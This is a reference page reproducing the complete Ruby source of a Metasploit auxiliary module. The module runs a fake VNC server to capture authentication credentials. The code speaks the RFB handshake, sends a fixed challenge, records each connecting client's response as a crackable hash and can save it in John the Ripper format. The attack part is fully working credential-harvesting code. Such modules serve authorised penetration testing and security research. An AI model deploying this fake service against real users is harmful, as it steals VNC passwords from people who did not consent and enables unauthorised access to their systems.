Authentication Capture: VNC

2012-07-11T22:46:24
ID MSF:AUXILIARY/SERVER/CAPTURE/VNC
Type metasploit
Reporter Rapid7
Modified 2018-11-15T22:01:52

Description

This module provides a fake VNC service that is designed to capture authentication credentials.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::TcpServer
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name'           => 'Authentication Capture: VNC',
      'Description'    => %q{
        This module provides a fake VNC service that
      is designed to capture authentication credentials.
      },
      'Author'         => 'Patrik Karlsson <patrik[at]cqure.net>',
      'License'        => MSF_LICENSE,
      'Actions'        => [ [ 'Capture' ] ],
      'PassiveActions' => [ 'Capture' ],
      'DefaultAction'  => 'Capture'
    )

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The local port to listen on.", 5900 ]),
        OptString.new('CHALLENGE', [ true, "The 16 byte challenge", "00112233445566778899AABBCCDDEEFF" ]),
        OptString.new('JOHNPWFILE',  [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ])
      ])
  end

  def setup
    super
    @state = {}
  end

  def run
    if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{32})$/
      @challenge = [ datastore['CHALLENGE'] ].pack("H*")
    else
      fail_with(Failure::BadConfig, 'CHALLENGE must be 32 characters, 0-9,A-F.')
    end
    exploit()
  end

  def on_client_connect(c)
    @state[c] = {
      :name    => "#{c.peerhost}:#{c.peerport}",
      :ip      => c.peerhost,
      :port    => c.peerport,
      :pass    => nil,
      :chall   => nil,
      :proto   => nil
    }

    c.put "RFB 003.007\n"
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :nonreplayable_hash
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def on_client_data(c)
    data = c.get_once
    return if not data

    peer = "#{c.peerhost}:#{c.peerport}"

    if data =~ /^RFB (.*)\n$/
      @state[c][:proto] = $1
      if @state[c][:proto] == "003.007"
        # for the 003.007 protocol we say we support the VNC sectype
        # and wait for the server to acknowledge it, before we send the
        # challenge.
        c.put [0x0102].pack("n") # 1 sectype, unencrypted
      elsif @state[c][:proto] == "003.003"
        # for the 003.003 protocol we say we support the VNC sectype
        # and immediately send the challenge
        sectype = [0x00000002].pack("N")
        c.put sectype

        @state[c][:chall] = @challenge
        c.put @state[c][:chall]
      else
        c.close
      end
    # the challenge was sent, so this should be our response
    elsif @state[c][:chall]
      c.put [0x00000001].pack("N")
      c.close
      print_good("#{peer} - Challenge: #{@challenge.unpack('H*')[0]}; Response: #{data.unpack('H*')[0]}")
      hash_line = "$vnc$*#{@state[c][:chall].unpack("H*")[0]}*#{data.unpack('H*')[0]}"
      report_cred(
        ip: c.peerhost,
        port: datastore['SRVPORT'],
        service_name: 'vnc_client',
        user: '',
        password: hash_line,
        proof: hash_line
      )

      if(datastore['JOHNPWFILE'])
        fd = ::File.open(datastore['JOHNPWFILE'] + '_vnc' , "ab")
        fd.puts hash_line
        fd.close
      end
    # we have got the protocol sorted out and have offered the VNC sectype (2)
    elsif @state[c][:proto] == "003.007"
      if ( data.unpack("C")[0] != 2 )
        print_error("#{peer} - sectype not offered! #{data.unpack("H*")}")
        c.close
        return
      end
      @state[c][:chall] = @challenge
      c.put @state[c][:chall]
    end
  end

  def on_client_close(c)
    @state.delete(c)
  end
end